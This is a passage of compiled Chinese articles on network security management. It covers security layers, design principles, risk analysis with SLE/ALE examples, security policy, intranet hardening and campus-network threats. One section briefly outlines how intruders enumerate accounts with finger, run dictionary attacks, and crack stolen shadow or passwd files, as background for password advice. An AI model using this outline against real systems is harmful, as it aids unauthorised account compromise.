该层次的安全问题来自网络内使用的操作系统的安全，如Windows NT，Windows 2000等。主要表现在三方面，一是操作系统本身的缺陷带来的不安全因素，主要包括身份认证、访问控制、系统漏洞等。二是对操作系统的安全配置问题。三是病毒对操作系统的威胁。
3．网络的安全性（网络层安全）
该层次的安全问题主要体现在网络方面的安全性，包括网络层身份认证，网络资源的访问控制，数据传输的保密与完整性，远程接入的安全，域名系统的安全，路由系统的安全，入侵检测的手段，网络设施防病毒等。
4．应用的安全性（应用层安全）
该层次的安全问题主要由提供服务所采用的应用软件和数据的安全性产生，包括Web服务、电子邮件系统、DNS等。此外，还包括病毒对系统的威胁。
5．管理的安全性（管理层安全）
安全管理包括安全技术和设备的管理、安全管理制度、部门与人员的组织规则等。管理的制度化极大程度地影响着整个网络的安全，严格的安全管理制度、明确的部门安全职责划分、合理的人员角色配置都可以在很大程度上降低其它层次的安全漏洞。
五、网络安全防范体系设计准则
根据防范安全攻击的安全需求、需要达到的安全目标、对应安全机制所需的安全服务等因素，参照SSE-CMM("系统安全工程能力成熟模型")和ISO17799(信息安全管理标准)等国际标准，综合考虑可实施性、可管理性、可扩展性、综合完备性、系统均衡性等方面，网络安全防范体系在整体设计过程中应遵循以下9项原则：
1．网络信息安全的木桶原则
网络信息安全的木桶原则是指对信息均衡、全面的进行保护。“木桶的最大容积取决于最短的一块木板”。网络信息系统是一个复杂的计算机系统，它本身在物理上、操作上和管理上的种种漏洞构成了系统的安全脆弱性，尤其是多用户网络系统自身的复杂性、资源共享性使单纯的技术保护防不胜防。攻击者使用的“最易渗透原则”，必然在系统中最薄弱的地方进行攻击。因此，充分、全面、完整地对系统的安全漏洞和安全威胁进行分析，评估和检测（包括模拟攻击）是设计信息安全系统的必要前提条件。安全机制和安全服务设计的首要目的是防止最常用的攻击手段，根本目的是提高整个系统的"安全最低点"的安全性能。
2．网络信息安全的整体性原则
要求在网络发生被攻击、破坏事件的情况下，必须尽可能地快速恢复网络信息中心的服务，减少损失。因此，信息安全系统应该包括安全防护机制、安全检测机制和安全恢复机制。安全防护机制是根据具体系统存在的各种安全威胁采取的相应的防护措施，避免非法攻击的进行。安全检测机制是检测系统的运行情况，及时发现和制止对系统进行的各种攻击。安全恢复机制是在安全防护机制失效的情况下，进行应急处理和尽量、及时地恢复信息，减少供给的破坏程度。
3．安全性评价与平衡原则
对任何网络，绝对安全难以达到，也不一定是必要的，所以需要建立合理的实用安全性与用户需求评价与平衡体系。安全体系设计要正确处理需求、风险与代价的关系，做到安全性与可用性相容，做到组织上可执行。评价信息是否安全，没有绝对的评判标准和衡量指标，只能决定于系统的用户需求和具体的应用环境，具体取决于系统的规模和范围，系统的性质和信息的重要程度。
4．标准化与一致性原则
系统是一个庞大的系统工程，其安全体系的设计必须遵循一系列的标准，这样才能确保各个分系统的一致性，使整个系统安全地互联互通、信息共享。
5．技术与管理相结合原则
安全体系是一个复杂的系统工程，涉及人、技术、操作等要素，单靠技术或单靠管理都不可能实现。因此，必须将各种安全技术与运行管理机制、人员思想教育与技术培训、安全规章制度建设相结合。
6．统筹规划，分步实施原则
由于政策规定、服务需求的不明朗，环境、条件、时间的变化，攻击手段的进步，安全防护不可能一步到位，可在一个比较全面的安全规划下，根据网络的实际需要，先建立基本的安全体系，保证基本的、必须的安全性。随着今后随着网络规模的扩大及应用的增加，网络应用和复杂程度的变化，网络脆弱性也会不断增加，调整或增强安全防护力度，保证整个网络最根本的安全需求。
7．等级性原则
等级性原则是指安全层次和安全级别。良好的信息安全系统必然是分为不同等级的，包括对信息保密程度分级，对用户操作权限分级，对网络安全程度分级（安全子网和安全区域），对系统实现结构的分级（应用层、网络层、链路层等），从而针对不同级别的安全对象，提供全面、可选的安全算法和安全体制，以满足网络中不同层次的各种实际需求。
8．动态发展原则
要根据网络安全的变化不断调整安全措施，适应新的网络环境，满足新的网络安全需求。
9．易操作性原则
首先，安全措施需要人为去完成，如果措施过于复杂，对人的要求过高，本身就降低了安全性。其次，措施的采用不能影响系统的正常运行。
六、结束语
由于互联网络的开放性和通信协议的安全缺陷，以及在网络环境中数据信息存储和对其访问与处理的分布性特点，网上传输的数据信息很容易泄露和被破坏，网络受到的安全攻击非常严重，因此建立有效的网络安全防范体系就更为迫切。实际上，保障网络安全不但需要参考网络安全的各项标准以形成合理的评估准则，更重要的是必须明确网络安全的框架体系、安全防范的层次结构和系统设计的基本原则，分析网络系统的各个不安全环节，找到安全漏洞，做到有的放矢。


安全管理实践

信息来源：www.xfocus.net
安全是一个广泛的主题，它涉及到许多不同的区域（物理设备、网络、系统平台、应用程序等），每个区域都有其相关的风险、威胁及解决方法。当我们讨论信息安全的时候，经常只关心黑客和操作系统的漏洞。尽管它们是安全的重要部分，但只是安全广义概念上的两个组件而已。
对于连网的企业组织来说风险与威胁是没有终止的。信息安全是一个动态发展的过程，不仅仅是纯粹的技术，仅仅依赖于安全产品的堆积来应对迅速发展变化的各种攻击手段是不能持续有效的。信息安全建设是一项复杂的系统工程，要从观念上进行转变，规划、管理、技术等多种因素相结合使之成为一个可持续的动态发展的过程。
绝对的信息安全是不存在的，每个网络环境都有一定程度的漏洞和风险。这种程度是可以接受的。信息安全问题的解决只能通过一系列的规划和措施，把风险降低到可被接受的程度，同时采取适当的机制使风险保持在此程度之内。当信息系统发生变化时应当重新规划和实施来适应新的安全需求。信息系统的安全往往取决于系统中最薄弱的环节 - 人。人是信息安全中最关键的因素，同时也应该清醒的认识到人也是信息安全中最薄弱的环节。
我们经常听到这样令人感兴趣的信息：病毒、蠕虫造成了严重的破坏，黑客获取了信用卡的信息，大型网站主页被黑等等。可能人们普遍的认识是企业没有安装安全产品（如：防火墙、入侵检测系统、防病毒系统等）。这些问题很大程度上是安全管理没有有效实施造成的。安全管理是企业信息安全的核心。安全管理包括风险管理、安全策略和安全教育。这三个组件是企业安全规划的基础。风险管理识别企业的资产，评估威胁这些资产的风险，评估假定这些风险成为现实时企业所承受的灾难和损失。通过降低风险（如：安装防护措施）、避免风险、转嫁风险（如：买保险）、接受风险（基于投入/产出比考虑）等多种风险管理方式得到的结果来协助管理部门根据企业的业务目标和业务发展特点来制定企业安全策略。
随着企业规模、业务发展、安全需求的不同，安全策略可能繁简不同。但是安全策略都应该简单明了、通俗易懂并直接反映主题，避免含糊不清的情况出现。信息安全策略是企业安全的最高方针，由高级管理部门支持，必须形成书面文档、广泛发布到企业所有员工手中，同时，要对所有相关人员进行安全策略的培训，对于有特殊责任人员要进行特殊的培训，使得安全策略能够真正在企业正常运营过程中得到贯彻、落实、实施。在安全规划中管理部门的支持是最重要的因素之一，仅仅是简单的点头同意是不够的。
安全管理通过适当的识别企业的信息资产，评估信息资产的价值，制定、实施安全策略、安全标准、安全方针、安全措施来保证企业信息资产的完整性、机密性、可用性。
一、风险管理
风险是指某种破坏或损失发生的可能性。风险管理是指识别、评估、降低风险到可以接受的程度并实施适当机制控制风险保持在此程度之内的过程。没有绝对安全的环境，每个环境都有一定程度的漏洞和风险。
--1. 需要重视的风险
企业中潜在的风险有多种形式，不仅仅只与计算机相关。当考虑信息安全的时候，有几种风险必须重视，包括（但不局限于）：
1.物理破坏 -------- 火灾、水灾、电源损坏等
2.人为错误 -------- 偶然的或不经意的行为造成破坏
3.设备故障 -------- 系统及外围设备的故障
4.内、外部攻击 ---- 内部人员、外部黑客的有无目的的攻击
5.数据误用 -------- 共享机密数据，数据被窃
6.数据丢失 -------- 故意或非故意的以破坏方式丢失数据
7.程序错误 -------- 计算错误、输入错误、缓冲区溢出等

风险应当被识别、分类。真实的风险是很难估量的，但是对潜在风险进行估量是可取的。
--2. 风险分析
对于一个企业来说，搞清楚信息系统现有以及潜在的风险，充分评估这些风险可能带来的威胁和影响，将是企业实施安全建设必须首先解决的问题，也是制定安全策略的基础与依据。在风险分析过程中，最开始考虑的有两方面的内容：一个是对企业资产的识别，另一个是对威胁的识别。对于每一个明确要保护的资产，都应该考虑到可能面临的威胁，以及威胁可能造成的影响。还要考虑的因素是在风险影响和防护措施花费之间的经济权衡。
要保护企业的信息系统安全，首先要知道企业中有哪些可识别的资产，哪些是最关键的、需要重点防护的，哪些是次要一些的但是也需要保护的，哪些是不需要专门关注的。从防御的角度来说，对于外来的威胁有时很难准确把握，但对"自己"，应该做到心中有数。当企业意识到资产的价值及可能面临的威胁时，才可以在保护这些资产的预算上作出明智的决定。如果信息没有任何价值，那么就没有意义保护这些无庸的信息。所以一个很重要的问题是企业应当评估如果不保护此信息的话损失有多大。
风险分析的成功执行需要高级管理部门的支持和指导。管理部门需要确定风险分析的目的和范围，指定小组进行评估，并给予时间、资金的支持。风险小组应该由企业中不同部门的人员组成，可以是管理者、程序开发人员、审计人员、系统集成人员、操作人员等。
2.1 确定资产
表1中列出了一些企业可能具有的信息资产。
资产类型 说明
硬件 包括服务器、工作站、路由器、交换机、防火墙、入侵检测系统、终端、打印机等整件设备，也包括主版、CPU、硬盘、显示器等散件设备。
软件 包括源代码、应用程序、工具、分析测试软件、操作系统等
数据 包括软硬件运行中的中间数据、备份资料、系统状态、审计日志、数据库资料等
人员 包括用户、管理员、维护人员等
文档 包括软件程序、硬件设备、系统状态、本地管理过程的资料
消耗品 包括纸张、软盘、磁带等
表1 - 企业的信息资产

仅仅确定资产是不够的，对资产进行分类也是非常重要的。对有形资产（设备、应用软件等）及人（有形资产的用户或操作者、管理者）分别归类，同时在两者之间建立起对应关系。
有形资产可以通过资产的价值进行分类。如：机密级、内部访问级、共享级、未保密级。对于人员的分类类似于有形资产的分类。
2.2 确定威胁
由于网络本身的诸多特性，如共享性、开放性、复杂性等，网络信息系统自身的脆弱性，如操作系统的漏洞、网络协议的缺陷、通信线路的不稳定、人为因素等，给网络信息系统的安全带来威胁。
具体的威胁来源可以分为：
1.外部网络黑客攻击及非法访问
2.内部人员故意或无意的非授权访问或操作
3."社会工程"带来的威胁，包括企业竞争对手或其他"间谍"行为
4.系统自身的脆弱性，包括系统结构设计上的缺陷、配置的疏忽等
5.软件漏洞，包括操作系统的安全漏洞、网络协议的设计缺陷、应用6.软件的设计漏洞、数据库系统的安全漏洞等
7.系统开放性带来的威胁，包括病毒、蠕虫等
8.技术故障带来的威胁
9.物理环境的威胁

可以看出，对威胁来源的定位综合了多种因素，最终还是人为因素起着决定性的作用。外部人员造成的威胁比较容易发现和控制，商业伙伴造成的威胁可以通过合同限制加以约束，但很多时候来自内部的威胁由于具有极大的隐蔽性和透明性导致更加难以控制和防范。所以在确定威胁的时候，不能只看到那些比较直接的容易分辨的外部威胁，来自内部的各种威胁也应该引起高度重视。
2.3 方法与途径
风险分析的方法与途径可以分为：定量分析和定性分析
1) 定量分析：试图从数字上对安全风险进行分析评估的方法。
定量分析过程有两个基本指标作为参考：事件发生的概率及事件造成的损失。具体的分析方式有两种：年预期损失（ALE，Annual Loss Expectancy），单一预期损失（SLE，Single Loss Expectancy）。
SLE表示某一资产在遭受风险后的预期损失，公式如下：
SLE = 资产价值 × 暴露系数 （暴露系数：特定威胁引起资产损失的百分比）
ALE表示一年内资产遭受的预期损失，公式如下：
ALE = SLE × 年发生概率
表2表示了定量风险分析的结果：
资产 风险 资产价值 SLE 年发生概率 ALE
设备 火灾 560000 230000 0.25 57500
商业机密 被窃 43500 40000 0.75 30000
文件服务器 异常 11500 11500 0.5 5750
数据 病毒 8900 6500 0.8 5200
表2 - 定量风险分析结果

通过以上数据，企业可以根据每个风险的严重程度、发生的可能性、实际发生时造成的损失作出明智的决定。
理论上讲，通过定量分析可以对安全风险进行准确的分级，但实际上，定量分析所依靠的数据往往都是不可靠的，这就给分析带来了很大的困难。
2) 定性分析：
定性分析是被广泛采用的方法。通过列出各种威胁的清单，并对威胁的严重程度及资产的敏感程度进行分级。定性分析技术包括判断、直觉和经验。可能由于直觉、经验的偏差而造成分析结果不准确。
风险分析小组、管理者、风险分析工具、企业文化等决定了在进行风险分析时采用哪种方式或是两者的结合。
2.4 保护机制
现在，我们知道了我们处于风险之中，也知道了风险发生的可能性，下一步的工作就是识别当前的安全机制并评估它们的有效性。由于企业面临的威胁不仅仅是病毒和攻击，对于每一种威胁类型要分别对待。在采取防护措施的时候要如下一些方面：
1.产品费用
2.设计/计划费用
3.实施费用
4.环境的改变
5.与其他防护措施的兼容性
6.维护需求
7.测试需求
8.修复、替换、更新费用
9.操作/支持费用

举例说明。企业为了保护信息资源和网络流量决定采用入侵检测系统，此时软件费用并不是总共的费用。软件应该首先在测试机上使用来发现是不是工作正常，然后在生产机上部署。路由器需要重新配置。防止非授权用户接触控制台。配置数据库用来存放攻击特征等等。这些费用的和才是总共的费用。软件费用只是其中的一小部分。
在进行风险评估时，企业需要决定要保护的资产及要保护的程度。风险评估中主要的三个步骤是：
1.资产和信息价值的评估
2.风险分析评估，根据需求采取定量分析或定性分析或两者的组合
3.选择及部署防护措施

二、 安全策略
安全策略是对访问规则的正式陈述，任何获准访问某个机构的技术和信息资产的人员，都必须遵守这些规则。安全策略由高级管理部门制定，确保企业的网络系统运行在一种合理的安全状态下，同时，也不妨碍企业员工和用户从事他们正常的工作。安全策略对于企业的网络安全建设，起着举足轻重的作用，所有安全建设的后续工作都是围绕安全策略展开的。安全策略的制定是比较繁琐和复杂的工作，根据企业的具体需求，可能会包含不同的内容。
安全策略从宏观的角度反映企业整体的安全思想和观念，作为制定具体策略规划的基础，为所有其他安全策略标明应该遵循的指导方针。具体的策略可以通过安全标准、安全方针、安全措施来实现。安全策略是基础，安全标准、安全方针、安全措施是安全框架，在安全框架中使用必要的安全组件、安全机制等提供全面的安全规划和安全架构。
安全标准是强制性执行的，指出了硬件、软件产品应当如何使用。它提供了一种手段来保证企业中应用程序、特定技术等以规定的方式执行。安全方针指出了当安全标准中未对不可预料的情形定义时的补充规定。安全措施指出了在操作环境中安全策略、安全标准、安全方针的具体一步步实现步骤。安全标准、安全方针不应该是一个文档，使它们组件化有助于分发和必要时候的更新。表3表示了它们之间的关系。
+==============+
| 安全策略 | 安全策略建立战略计划
+======+=======+
|
+------v-------+
|强制的安全标准|
+------+-------+
|
+------v-------+
|建议的安全方针|
+------+-------+
|
+------v-------+
|具体的安全措施| 安全标准、安全方针、安全措施提供战术支持
+--------------+

表3 - 安全策略、安全标准、安全方针、安全措施之间的层次

现在举例说明一下各个方面之间的关系。企业的安全策略描述了敏感信息应当采取适当的方法进行保护。可以看出安全策略是宏观上的说明。安全标准描述了数据库中的客户信息应当采用DES算法进行加密，在数据传输中使用IPSec加密技术。安全方针描述了当数据被偶然解密、损坏时应当如何处理。安全措施详细描述了如何实施DES加密算法、如何实施IPSec技术。
企业安全需求的各个方面是由一系列安全策略文件所涵盖的。策略文件的繁简程度与企业的规模有关。不过，有些策略文件是多数企业都应该制定并执行的。
1.物理安全策略
包括环境安全、设备安全、媒体安全、信息资产的物理分布、人员的访问控制、审计记录、异常情况的追查等。
2.网络安全策略
包括网络拓扑结构、网络设备的管理、网络安全访问措施（防火墙、入侵检测系统、VPN等）、安全扫描、远程访问、不同级别网络的访问控制方式、识别/认证机制等。
3.数据加密策略
包括加密算法、适用范围、密钥交换和管理等。
4.数据备份策略
包括适用范围、备份方式、备份数据的安全存储、备份周期、负责人等。
5.病毒防护策略
包括防病毒软件的安装、配置、对软盘使用、网络下载等作出的规定等。
6.系统安全策略
包括WWW访问策略、数据库系统安全策略、邮件系统安全策略、应用服务器系统安全策略、个人桌面系统安全策略、其他业务相关系统安全策略等。
7.身份认证及授权策略
包括认证及授权机制、方式、审计记录等。
8.灾难恢复策略
包括负责人员、恢复机制、方式、归档管理、硬件、软件等。
9.事故处理、紧急响应策略
包括响应小组、联系方式、事故处理计划、控制过程等。
10.安全教育策略
包括安全策略的发布宣传、执行效果的监督、安全技能的培训、安全意识教育等。
11.口令管理策略
包括口令管理方式、口令设置规则、口令适应规则等。
12.补丁管理策略
包括系统补丁的更新、测试、安装等。
13.系统变更控制策略
包括设备、软件配置、控制措施、数据变更管理、一致性管理等。
14.商业伙伴、客户关系策略
包括合同条款安全策略、客户服务安全建议等。
15.复查审计策略
包括对安全策略的定期复查、对安全控制及过程的重新评估、对系统日志记录的审计、对安全技术发展的跟踪等。

企业制定的安全策略应当遵守相关的法律条令，有时安全策略的内容和员工的个人隐私相关联，在考虑对信息资产保护的同时，也应该对这方面的内容有一个明确的说明。
三、 安全教育
安全意识和相关技能的教育是企业安全管理中重要的内容，其实施力度将直接关系到企业安全策略被理解的程度和被执行的效果。为了保证安全的成功和有效，高级管理部门应当对企业各级管理人员、用户、技术人员进行安全培训。所有的企业人员必须了解并严格执行企业安全策略。
在安全教育具体实施过程中应该有一定的层次性：
1.主管信息安全工作的高级负责人或各级管理人员，重点是了解、掌握企业信息安全的整体策略及目标、信息安全体系的构成、安全管理部门的建立和管理制度的制定等。
2.负责信息安全运行管理及维护的技术人员，重点是充分理解信息安全管理策略，掌握安全评估的基本方法，对安全操作和维护技术的合理运用等。
3.用户，重点是学习各种安全操作流程，了解和掌握与其相关的安全策略，包括自身应该承担的安全职责等。

当然，对于特定的人员要进行特定的安全培训。安全教育应当定期的、持续的进行。在企业中建立安全文化并容纳到整个企业文化体系中才是最根本的解决办法。
小结：
解决信息安全问题不能仅仅只从技术上考虑，但也不是说不考虑技术，技术是安全的主体，管理是安全的灵魂。只有将有效的安全管理实践自始至终贯彻落实于信息安全当中，网络安全的长期性和稳定性才能有所保证。
要进行有效的安全管理，必须建立起一套系统全面的信息安全管理体系，这可以参照国际上通行的一些标准来实现，如：BS7799、ISO17799、ISO15408、RFC1296、SSE-CMM、ISO11131、ISO13569等。
关于作者
王红阳: 从事网络（安全）方面的安全评估、安全服务工作或研发工作。在《信息安全与通信保密》杂志（2001年第11期）发表文章《防火墙技术概述》；在 AKA Security Salon 做《防火墙设计与实现》报告。；作为 CISSP_BJ 小组核心成员做《CISSP domain1 - Access Control Systems & Methodology》报告。您可访问 http://sec.comismy.com/ 获得以上报告。


内网是网络应用中的一个主要组成部分，其安全性也受到越来越多的重视。据不完全统计，国外在建设内网时，投资额的15%是用于加强内网的网络安全。在我国IT市场中，安全厂商保持着旺盛的增长势头。运营商在内网安全方面的投资比例不如国外多，但依然保持着持续的增长态势。要提高内网的安全，可以使用的方法很多，本文将就此做一些探讨。
    采用安全交换机
    由于内网的信息传输采用广播技术，数据包在广播域中很容易受到监听和截获，因此需要使用安全交换机，利用网络分段及VLAN的方法从物理上或逻辑上隔离网络资源，以加强内网的安全性。
    操作系统的安全
    从终端用户的程序到服务器应用服务、以及网络安全的很多技术，都是运行在操作系统上的，因此，保证操作系统的安全是整个安全系统的根本。除了不断增加安全补丁之外，还需要建立一套对系统的监控系统，并建立和实施有效的用户口令和访问控制等制度。
    对重要资料进行备份
    在内网系统中数据对用户的重要性越来越大，实际上引起电脑数据流失或被损坏、篡改的因素已经远超出了可知的病毒或恶意的攻击，用户的一次错误操作，系统的一次意外断电以及其他一些更有针对性的灾难可能对用户造成的损失比直接的病毒和黑客攻击还要大。
    为了维护企业内网的安全，必须对重要资料进行备份，以防止因为各种软硬件故障、病毒的侵袭和黑客的破坏等原因导致系统崩溃，进而蒙受重大损失。
    对数据的保护来说，选择功能完善、使用灵活的备份软件是必不可少的。目前应用中的备份软件是比较多的，配合各种灾难恢复软件，可以较为全面地保护数据的安全。
    使用代理网关
    使用代理网关的好处在于，网络数据包的交换不会直接在内外网络之间进行。内部计算机必须通过代理网关，进而才能访问到Internet ，这样操作者便可以比较方便地在代理服务器上对网络内部的计算机访问外部网络进行限制。
    在代理服务器两端采用不同协议标准，也可以阻止外界非法访问的入侵。还有，代理服务的网关可对数据封包进行验证和对密码进行确认等安全管制。
    设置防火墙
    防火墙的选择应该适当，对于微小型的企业网络，可从Norton Internet Security 、 PCcillin 、天网个人防火墙等产品中选择适合于微小型企业的个人防火墙。
    而对于具有内部网络的企业来说，则可选择在路由器上进行相关的设置或者购买更为强大的防火墙产品。对于几乎所有的路由器产品而言，都可以通过内置的防火墙防范部分的攻击，而硬件防火墙的应用，可以使安全性得到进一步加强。
    信息保密防范
    为了保障网络的安全，也可以利用网络操作系统所提供的保密措施。以Windows为例，进行用户名登录注册，设置登录密码，设置目录和文件访问权限和密码，以控制用户只能操作什么样的目录和文件，或设置用户级访问控制，以及通过主机访问Internet等。
    同时，可以加强对数据库信息的保密防护。网络中的数据组织形式有文件和数据库两种。由于文件组织形式的数据缺乏共享性，数据库现已成为网络存储数据的主要形式。由于操作系统对数据库没有特殊的保密措施，而数据库的数据以可读的形式存储其中，所以数据库的保密也要采取相应的方法。电子邮件是企业传递信息的主要途径，电子邮件的传递应行加密处理。针对计算机及其外部设备和网络部件的泄密渠道，如电磁泄露、非法终端、搭线窃取、介质的剩磁效应等，也可以采取相应的保密措施。
    从攻击角度入手
    目前，计算机网络系统的安全威胁有很大一部分来自拒绝服务(DoS)攻击和计算机病毒攻击。为了保护网络安全，也可以从这几个方面进行。
    对付“拒绝服务”攻击有效的方法，是只允许跟整个Web站台有关的网络流量进入，就可以预防此类的黑客攻击，尤其对于ICMP封包，包括ping指令等，应当进行阻绝处理。
    通过安装非法入侵侦测系统，可以提升防火墙的性能，达到监控网络、执行立即拦截动作以及分析过滤封包和内容的动作，当窃取者入侵时可以立刻有效终止服务，以便有效地预防企业机密信息被窃取。同时应限制非法用户对网络的访问，规定具有IP地址的工作站对本地网络设备的访问权限，以防止从外界对网络设备配置的非法修改。
    防范计算机病毒
    从病毒发展趋势来看，现在的病毒已经由单一传播、单种行为，变成依赖互联网传播，集电子邮件、文件传染等多种传播方式，融黑客、木马等多种攻击手段为一身的广义的“新病毒”。计算机病毒更多的呈现出如下的特点：与Internet和Intranet更加紧密地结合，利用一切可以利用的方式(如邮件、局域网、远程管理、即时通信工具等)进行传播；所有的病毒都具有混合型特征，集文件传染、蠕虫、木马、黑客程序的特点于一身，破坏性大大增强；因为其扩散极快，不再追求隐藏性，而更加注重欺骗性；利用系统漏洞将成为病毒有力的传播方式。
    因此，在内网考虑防病毒时选择产品需要重点考虑以下几点：防杀毒方式需要全面地与互联网结合，不仅有传统的手动查杀与文件监控，还必须对网络层、邮件客户端进行实时监控，防止病毒入侵；产品应有完善的在线升级服务，使用户随时拥有最新的防病毒能力；对病毒经常攻击的应用程序提供重点保护；产品厂商应具备快速反应的病毒检测网，在病毒爆发的第一时间即能提供解决方案；厂商能提供完整、即时的反病毒咨询，提高用户的反病毒意识与警觉性，尽快地让用户了解到新病毒的特点和解决方案。
    密钥管理
    在现实中，入侵者攻击Intranet目标的时候，90%会把破译普通用户的口令作为第一步。以Unix系统或Linux 系统为例，先用“ finger远端主机名”找出主机上的用户账号，然后用字典穷举法进行攻击。这个破译过程是由程序来完成的。大概十几个小时就可以把字典里的单词都完成。
    如果这种方法不能奏效，入侵者就会仔细地寻找目标的薄弱环节和漏洞，伺机夺取目标中存放口令的文件 shadow或者passwd 。然后用专用的破解DES加密算法的程序来解析口令。
    在内网中系统管理员必须要注意所有密码的管理，如口令的位数尽可能的要长；不要选取显而易见的信息做口令；不要在不同系统上使用同一口令；输入口令时应在无人的情况下进行；口令中最好要有大小写字母、字符、数字；定期改变自己的口令；定期用破解口令程序来检测shadow文件是否安全。没有规律的口令具有较好的安全性。
    结语
    以上九个方面仅是多种保障内网安全措施中的一部分，为了更好地解决内网的安全问题，需要有更为开阔的思路看待内网的安全问题。在安全的方式上，为了应付比以往更严峻的“安全”挑战，安全不应再仅仅停留于“堵”、“杀”或者“防”，应该以动态的方式积极主动应用来自安全的挑战，因而健全的内网安全管理制度及措施是保障内网安全必不可少的措施。


校园网安全问题分析与对策

    随着Internet的迅速发展和应用的普及，计算机网络已经深入教育、政府、商业、军事等各行各业，象电话、交通、水、电一样，成为社会重要的基础设施。如果计算机网络的安全可靠运行受到威胁，将会影响人们的工作、学习和生活。然而不幸的是，近年来大规模的网络安全事件接连发生，互联网上蠕虫、拒绝服务攻击、网络欺诈等新的攻击手段层出不穷，导致的泄密、数据破坏、业务无法正常进行等事件屡屡发生，甚至导致世界性的互联网瘫痪，造成的经济损失无法估计。网络安全引起世界各国的关注，政府、企业和研究机构等各领域的组织都对网络安全投入了大量的人力物力;但是目前我们面临的威胁让人不容乐观。

本文首先分析了"互联网安全"问题的根本原因，然后介绍了校园网安全管理的特点和常见的威胁，然后介绍了当前CERNET安全管理的几项措施，提出了加强校园网安全管理的几项建议，最后介绍了以IPv6为核心的下一代互联网对网络安全的影响。

    互联网安全问题和缺陷分析

    互联网安全问题为什么这么严重?这些安全问题是怎么产生的呢?综合技术和管理等多方面因素，我们可以归纳为四个方面:互联网的开放性、自身的脆弱性、攻击的普遍性、管理的困难性。
    首先，互联网是一个开放的网络，TCP/IP是通用的协议。各种硬件和软件平台的计算机系统可以通过各种媒体接入进来，如果不加限制，世界各地均可以访问。于是各种安全威胁可以不受地理限制、不受平台约束，可以迅速通过互联网影响到世界的每一个角落。
    其次，互联网的自身的安全缺陷是导致互联网脆弱性的根本原因。互联网的脆弱性体现在设计、实现、维护的各个环节。设计阶段，互联网的设计之初没有充分考虑安全威胁，因为最初的互联网只是用于少数可信的用户群体。许多的网络协议和应用没有提供必要的安全服务，比如电子邮件使用的协议SMTP没有提供认证机制，曾经是导致垃圾邮件泛滥的重要原因，远程登录使用的telnet协议明文传输用户名和口令等，而且IP网络也不提供任何服务质量控制机制，导致目前在大规模拒绝服务攻击面前几乎无能为力。互联网和所连接的计算机系统在实现阶段也留下了大量
安全漏洞
。一般认为，软件中的错误数量和软件的规模成正比，由于网络和相关软件越来越复杂，其中所包含的安全漏洞也越来越多。特别是由于市场竞争，一些厂商为了占领市场会把没有经过严格的质量测试的软件系统推向市场，留下了大量的安全隐患，如缓冲区
溢出
。在互联网和系统的维护阶段的安全漏洞也是安全攻击的重要目标。尽管系统提供了某些安全机制，但是由于管理员或者用户的技术水平限制、维护管理工作量大等因素，这些安全机制并没有发挥有效作用。比如，系统的缺省安装和弱口令是大量攻击成功的原因之一。
    互联网威胁的普遍性是安全问题的另一个方面，而且随着互联网的发展，对互联网攻击的手段也越来越简单、越来越普遍。如图1所示，目前攻击工具的功能却越来越强，而对攻击者的知识水平要求却越来越低，因此攻击者也更为普遍。
    管理方面的困难性也是互联网安全问题的重要原因。具体到一个企业内部的安全管理，由于业务发展迅速、人员流动频繁、技术更新快等因素的影响，安全管理也非常复杂，人力投入不足、安全政策不明是常见的现象;扩大到不同国家之间，由于安全事件通常是不分国界的，但是安全管理却受国家、地理、政治、文化、语言等多种因素的限制，比如跨国界的安全事件的追踪非常困难。
    校园网安全特点和校园网常见攻击
    高等教育和科研机构是互联网诞生的摇篮，也是最早的应用环境。各国的高等教育都是最早建设和应用互联网技术的行业之一，中国的高校校园网一般都最先应用最先进的网络技术，网络应用普及，用户群密集而且活跃。然而校园网由于自身的特点也是安全问题比较突出的地方，安全管理也更为复杂、困难。
    与政府或企业网相比，高校校园网的以下特点导致安全管理非常复杂:
    1.校园网的速度快和规模大。高校校园网是最早的宽带网络，普遍使用的以太网技术决定了校园网最初的带宽不低于10Mbps，目前普遍使用了百兆到桌面、千兆甚至万兆实现园区主干互联。校园网的用户群体一般也比较大，少则数千人、多则数万人。中国的高校学生一般集中住宿，因而用户群比较密集。正是由于高带宽和大用户量的特点，网络安全问题一般蔓延快、对网络的影响比较严重。
    2.校园网中的计算机
系统管理
比较复杂。校园网中的计算机系统的购置和管理情况非常复杂，比如学生宿舍中的电脑一般是学生自己花钱购买、自己维护的，有的院系是统一采购、有技术人员负责维护的，有些院系则是教师自主购买、没有专人维护的。这种情况下要求所有的端系统实施统一的安全政策(比如安装防病毒软件、设置可靠的口令)是非常困难的。由于没有统一的资产管理和设备管理，出现安全问题后通常无法分清责任。比较典型的现象是，用户的计算机接入校园网后感染病毒，反过来这台感染病毒的计算机又影响了校园网的运行，于是出现端系统用户和网络管理员相互指责的现象。更有些计算机甚至服务器系统建设完毕之后无人管理，甚至被攻击者攻破作为攻击的跳板、变成攻击试验床也无人觉察。
    3. 活跃的用户群体。高等学校的学生通常是最活跃的网络用户，对网络新技术充满好奇，勇于尝试。如果没有意识到后果的严重性，有些学生会尝试使用网上学到的、甚至自己研究的各种攻击技术，可能对网络造成一定的影响和破坏。
    4.开放的网络环境。由于教学和科研的特点决定了校园网络环境应该是开放的、管理也是较为宽松的。比如，企业网可以限制允许Web浏览和电子邮件的流量，甚至限制外部发起的连接不允许进入防火墙，但是在校园网环境下通常是行不通的，至少在校园网的主干不能实施过多的限制，否则一些新的应用、新的技术很难在校园网内部实施。
    5.有限的投入。校园网的建设和管理通常都轻视了网络安全，特别是管理和维护人员方面的投入明显不足。在中国大多数的校园网中，通常只有网络中心的少数工作人员，他们只能维护网络的正常运行，无暇顾及、也没有条件管理和维护数万台计算机的安全，院、系一级的专职的计算机系统管理员对计算机系统的安全是非常重要的。
    6.盗版资源泛滥。由于缺乏版权意识，盗版软件、影视资源在校园网中普遍使用，这些软件的传播一方面占用了大量的网络带宽，另一方面也给网络安全带来了一定的隐患。比如，Microsoft公司对盗版的XP操作系统的更新作了限制，盗版安装的计算机系统今后会留下大量的安全漏洞。另一方面，从网络上随意下载的软件中可能隐藏木马、后门等恶意代码，许多系统因此被攻击者侵入和利用。　以上各种原因导致校园网既是大量攻击的发源地，也是攻击者最容易攻破的目标。因此导致当前校园网常见的风险如下:
    1. 普遍存在的计算机系统的漏洞，对信息安全、系统的使用、网络的运行构成严重的威胁;
    2. 计算机蠕虫、病毒泛滥，影响用户的使用、信息安全、网络运行;
    3. 外来的系统入侵、攻击等恶意破坏行为，有些计算机已经被攻破，用作黑客攻击的工具;拒绝服务攻击目前越来越普遍，不少开始针对重点高校的网站和服务器;
    4. 内部用户的攻击行为，这些行为给校园网造成了不良的影响，损害了学校的声誉;
